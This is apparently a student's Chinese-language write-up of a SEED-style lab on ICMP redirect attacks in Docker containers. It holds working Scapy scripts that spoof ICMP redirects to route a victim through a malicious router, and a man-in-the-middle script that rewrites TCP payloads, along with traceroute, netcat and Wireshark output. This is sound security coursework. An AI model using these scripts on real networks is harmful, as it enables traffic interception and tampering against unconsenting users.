

ICMP_Redirect

Before

唉，第三个实验开始，一开始还是布置一下环境什么的，简单记录一下

```
[07/30/25] seed@VM:~/.../volumes$ dockps
d2583f2c7d14 host-192.168.60.6
00208434948b attacker-10.9.0.105
b0d8ca933c50 malicious-router-10.9.0.111
49221848c1fa router
7de9bb82b07e victim-10.9.0.5
de62df365370 host-192.168.60.5
```

暂拟定绿色攻击者，紫色受害者，其他白色搞搞

任务1：发起ICMP重定向攻击

首先查看受害者的路由表

```
root@7de9bb82b07e:/# ip route
default via 10.9.0.1 dev eth0
10.9.0.0/24 dev eth0 proto kernel scope link src 10.9.0.5
192.168.60.0/24 via 10.9.0.11 dev eth0
root@7de9bb82b07e:/#
```

代码框架已经有了，接下来填写一下关键信息即可

```
#!/usr/bin/python3
from scapy.all import *

attacker='10.9.0.105'
victim='10.9.0.5'
ma_router='10.9.0.111'
router='10.9.0.11'
network='192.168.60.5'

ip = IP(src = router, dst = victim)
icmp = ICMP(type=5, code=1)
icmp.gw = ma_router
# ICMP 重定向包必须携带触发它的那个原始IP数据包。
ip2 = IP(src = victim, dst = network)
send(ip/icmp/ip2/ICMP());
```

受害者要访问网络，伪装成在路由处发送重定向消息，指向恶意路由，并由于是对主机重定向，所以type=5, code=1

在攻击者上运行代码，但会发现攻击不成功，根据实验手册，这是由于受害者内核会对重定向消息进行严格检查，不过无妨，只要用受害者ping一下即可，观察到结果如下

```
My traceroute [v0.93]
7de9bb82b07e (10.9.0.5) 2025-07-31T12:03:24+0000
Keys: Help Display mode Restart statistics Order of fields quit
      Packets          Pings
Host           Loss%   Snt    Last    Avg   Best  Wrst StDev
1. 10.9.0.111 0.0%    6     0.1    0.1   0.1   0.2   0.1
2. 10.9.0.11  0.0%    6     0.1    0.1   0.1   0.2   0.0
3. 192.168.60.5 0.0%    6     0.1    0.2   0.1   0.6   0.2
```

可见实验成功

A1：不可以

修改ma_router为192.168.60.5，先清空路由缓存后重新实验

```
My traceroute [v0.93]
7de9bb82b07e (10.9.0.5) 2025-07-31T12:08:12+0000
Ping Bit Pattern: ^[[B^[[B^[[B^[[B^[[B
Pattern Range: 0(0x00)-255(0xff), <0 random.
      Host           Loss%   Snt    Last    Avg   Best  Wrst StDev
1. 10.9.0.11    0.0%    1     0.2    0.2   0.2   0.2   0.0
2. 192.168.60.5 0.0%    1     0.1    0.1   0.1   0.1   0.0
```

可见无变化

A2：不可以

与上文相似，修改ma_router为10.9.0.88，再次实验

```
My traceroute [v0.93]
7de9bb82b07e (10.9.0.5) 2025-07-31T12:11:03+0000
Keys: Help Display mode Restart statistics Order of fields quit
      Packets          Pings
Host           Loss%   Snt    Last    Avg   Best  Wrst StDev
1. 10.9.0.11    0.0%    5     0.1    0.1   0.1   0.1   0.0
2. 192.168.60.5 0.0%    5     0.1    0.1   0.1   0.2   0.1
```

可见无变化

A3

询问AI得答案

这些 `sysctl`s 参数在 `docker-compose.yml` 文件中用于配置容器的网络行为。具体来说：

- `net.ipv4.conf.all.send_redirects=0`
 - 目的：禁用所有网络接口上的ICMP重定向发送功能。当设置为0时，容器将不会发送ICMP重定向消息。这通常用于安全目的，以防止攻击者利用ICMP重定向进行中间人攻击或网络拓扑发现等。
- `net.ipv4.conf.default.send_redirects=0`
 - 目的：与上述类似，但仅针对默认网络接口。它确保默认网络接口不会发送ICMP重定向消息。
- `net.ipv4.conf.eth0.send_redirects=0`
 - 目的：针对特定的 `eth0` 网络接口禁用ICMP重定向发送功能。如果容器使用 `eth0` 接口进行通信，此设置将防止该接口发送ICMP重定向消息。

结合上一个实验我在最后遇到的问题，如果修改之后重定向攻击会失效，因为恶意路由器也会发送重定向消息，修正受害者的路由缓存。

任务2：发起MITM攻击

首先用netcat连接受害者和目标服务器192.168.60.5

再关闭恶意路由器的IP转发功能

接下来修改MITM攻击代码,其实就是修改下过滤器，过滤出由受害者发出的TCP包

```
#!/usr/bin/env python3
from scapy.all import *

print("LAUNCHING MITM ATTACK.....")

def spoof_pkt(pkt):
    newpkt = IP(bytes(pkt[IP]))
    del(newpkt.chksum)
    del(newpkt[TCP].payload)
    del(newpkt[TCP].chksum)

    if pkt[TCP].payload:
        data = pkt[TCP].payload.load
        print("*** %s, length: %d" % (data, len(data)))

        # Replace a pattern
        newdata = data.replace(b'yuan', b'AAAA')

        send(newpkt/newdata)
    else:
        send(newpkt)

f = 'tcp and ether src 02:42:0a:09:00:05'
```

```
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
```

保持victim持续ping目标网络，并在攻击者上运行重定向程序，在恶意路上运行mitm程序，再让受害者和服务器连接，实验结果如下（左上和右下）

The screenshot shows four terminal windows from a Linux VM. The top-left window shows victim traffic: ICMP pings from 192.168.60.5 to 192.168.60.5 with sequence numbers 14, 15, and 16. The top-right window shows the attack host sending ICMP pings to 192.168.60.5. The bottom-left window shows the attack host sending crafted ICMP pings with payloads 'dfsdf', 'yuan', 'sdasd', and 'yuan'. The bottom-right window shows the attack host executing a netcat listener on port 9090, receiving the crafted packets, and then sending them to the victim via a mitm proxy.

```
seed@VM: ~/volumes
20 ms
64 bytes from 192.168.60.5: icmp_seq=14 ttl=63 time=0.1
98 ms
64 bytes from 192.168.60.5: icmp_seq=15 ttl=63 time=0.1
94 ms
64 bytes from 192.168.60.5: icmp_seq=16 ttl=63 time=0.1
30 ms
^C
root@7de9bb82b07e:/# nc 192.168.60.5 9090
dfsdf
yuan
sdasd
yuan

Sent 1 packets.
root@VM: ~/volumes
*** b'dfsdf\n', length: 6
.
Sent 1 packets.
*** b'yuan\n', length: 5
.
Sent 1 packets.
*** b'sdasd\n', length: 6
.
Sent 1 packets.
*** b'yuan\n', length: 5
.
Sent 1 packets.

seed@VM: ~/volumes
Sent 1 packets.
root@0208434948b:/volumes# python3 icmpR.py
.

seed@VM: ~/volumes
[07/31/25]seed@VM:~/.../ICMP redirect$ docksh de
root@de62df365370:# nc -lp 9090
dsf
root@de62df365370:# nc -lp 9090\
>
^C
root@de62df365370:# nc -lp 9090
dfsdf
AAAA
sdasd
AAAA
```

说明实验成功

A4

从受害者到服务器

我们需要修改的报文就是这个方向

A5

刚刚我们选择的是MAC地址，接下来用IP地址尝试一下，修改下过滤器

```
f = 'tcp and src host 10.9.0.5'
```

实验可以成功

但是观察wireshark会发现

Apply a display filter ... <Ctrl-/>

No.	Time	Source	Destination	Protocol	Length	Info
4207	2025-08-01 00:5...	10.9.0.5	192.168.60.5	TCP	68	56390 → 9090 [ACK] Seq=1654887169 Ack=146741365 Win=64256 Len...
4208	2025-08-01 00:5...	10.9.0.5	192.168.60.5	TCP	68	56390 → 9090 [ACK] Seq=1654887169 Ack=146741365 Win=64256 Len...
4209	2025-08-01 00:5...	10.9.0.5	192.168.60.5	TCP	68	56390 → 9090 [ACK] Seq=1654887169 Ack=146741365 Win=64256 Len...
4210	2025-08-01 00:5...	10.9.0.5	192.168.60.5	TCP	68	56390 → 9090 [ACK] Seq=1654887169 Ack=146741365 Win=64256 Len...
4211	2025-08-01 00:5...	10.9.0.5	192.168.60.5	TCP	68	56390 → 9090 [ACK] Seq=1654887169 Ack=146741365 Win=64256 Len...
4212	2025-08-01 00:5...	10.9.0.5	192.168.60.5	TCP	73	[TCP Spurious Retransmission] 56390 → 9090 [PSH, ACK] Seq=165...
4213	2025-08-01 00:5...	10.9.0.5	192.168.60.5	TCP	73	[TCP Spurious Retransmission] 56390 → 9090 [PSH, ACK] Seq=165...
4214	2025-08-01 00:5...	10.9.0.5	192.168.60.5	TCP	73	[TCP Spurious Retransmission] 56390 → 9090 [PSH, ACK] Seq=165...
4215	2025-08-01 00:5...	10.9.0.5	192.168.60.5	TCP	73	[TCP Spurious Retransmission] 56390 → 9090 [PSH, ACK] Seq=165...
4216	2025-08-01 00:5...	192.168.60.5	10.9.0.5	TCP	80	[TCP Dup ACK 1628#932] 9090 → 56390 [ACK] Seq=146741365 Ack=1...
4217	2025-08-01 00:5...	192.168.60.5	10.9.0.5	TCP	80	[TCP Dup ACK 1628#933] 9090 → 56390 [ACK] Seq=146741365 Ack=1...
4218	2025-08-01 00:5...	192.168.60.5	10.9.0.5	TCP	80	[TCP Dup ACK 1628#934] 9090 → 56390 [ACK] Seq=146741365 Ack=1...
4219	2025-08-01 00:5...	192.168.60.5	10.9.0.5	TCP	80	[TCP Dup ACK 1628#935] 9090 → 56390 [ACK] Seq=146741365 Ack=1...
4220	2025-08-01 00:5...	10.9.0.5	192.168.60.5	TCP	72	[TCP Spurious Retransmission] 56390 → 9090 [PSH, ACK] Seq=165...
4221	2025-08-01 00:5...	10.9.0.5	192.168.60.5	TCP	72	[TCP Spurious Retransmission] 56390 → 9090 [PSH, ACK] Seq=165...
4222	2025-08-01 00:5...	10.9.0.5	192.168.60.5	TCP	72	[TCP Spurious Retransmission] 56390 → 9090 [PSH, ACK] Seq=165...
4223	2025-08-01 00:5...	10.9.0.5	192.168.60.5	TCP	72	[TCP Spurious Retransmission] 56390 → 9090 [PSH, ACK] Seq=165...
4224	2025-08-01 00:5...	192.168.60.5	10.9.0.5	TCP	80	[TCP Dup ACK 1628#936] 9090 → 56390 [ACK] Seq=146741365 Ack=1...
4225	2025-08-01 00:5...	192.168.60.5	10.9.0.5	TCP	80	[TCP Dup ACK 1628#937] 9090 → 56390 [ACK] Seq=146741365 Ack=1...
4226	2025-08-01 00:5...	192.168.60.5	10.9.0.5	TCP	80	[TCP Dup ACK 1628#938] 9090 → 56390 [ACK] Seq=146741365 Ack=1...
4227	2025-08-01 00:5...	192.168.60.5	10.9.0.5	TCP	80	[TCP Dup ACK 1628#939] 9090 → 56390 [ACK] Seq=146741365 Ack=1...
4228	2025-08-01 00:5...	10.9.0.5	192.168.60.5	TCP	73	[TCP Spurious Retransmission] 56390 → 9090 [PSH, ACK] Seq=165...
4229	2025-08-01 00:5...	10.9.0.5	192.168.60.5	TCP	73	[TCP Spurious Retransmission] 56390 → 9090 [PSH, ACK] Seq=165...
4230	2025-08-01 00:5...	10.9.0.5	192.168.60.5	TCP	73	[TCP Spurious Retransmission] 56390 → 9090 [PSH, ACK] Seq=165...
4231	2025-08-01 00:5...	10.9.0.5	192.168.60.5	TCP	73	[TCP Spurious Retransmission] 56390 → 9090 [PSH, ACK] Seq=165...
4232	2025-08-01 00:5...	192.168.60.5	10.9.0.5	TCP	80	[TCP Dup ACK 1628#940] 9090 → 56390 [ACK] Seq=146741365 Ack=1...
4233	2025-08-01 00:5...	192.168.60.5	10.9.0.5	TCP	80	[TCP Dup ACK 1628#941] 9090 → 56390 [ACK] Seq=146741365 Ack=1...
4234	2025-08-01 00:5...	192.168.60.5	10.9.0.5	TCP	80	[TCP Dup ACK 1628#942] 9090 → 56390 [ACK] Seq=146741365 Ack=1...
4235	2025-08-01 00:5...	192.168.60.5	10.9.0.5	TCP	80	[TCP Dup ACK 1628#943] 9090 → 56390 [ACK] Seq=146741365 Ack=1...
4236	2025-08-01 00:5...	10.9.0.5	192.168.60.5	TCP	76	[TCP Retransmission] 56390 → 9090 [SYN] Seq=1654887168 Win=64...
4237	2025-08-01 00:5...	10.9.0.5	192.168.60.5	TCP	76	[TCP Retransmission] 56390 → 9090 [SYN] Seq=1654887168 Win=64...
4238	2025-08-01 00:5...	10.9.0.5	192.168.60.5	TCP	76	[TCP Retransmission] 56390 → 9090 [SYN] Seq=1654887168 Win=64...
4239	2025-08-01 00:5...	10.9.0.5	192.168.60.5	TCP	76	[TCP Retransmission] 56390 → 9090 [SYN] Seq=1654887168 Win=64...

Frame 1: 100 bytes on wire (800 bits), 100 bytes captured (800 bits) on interface any, id 0

这是由于代码还捕获了程序自身发送的伪造数据包，然后疯狂循环

Over!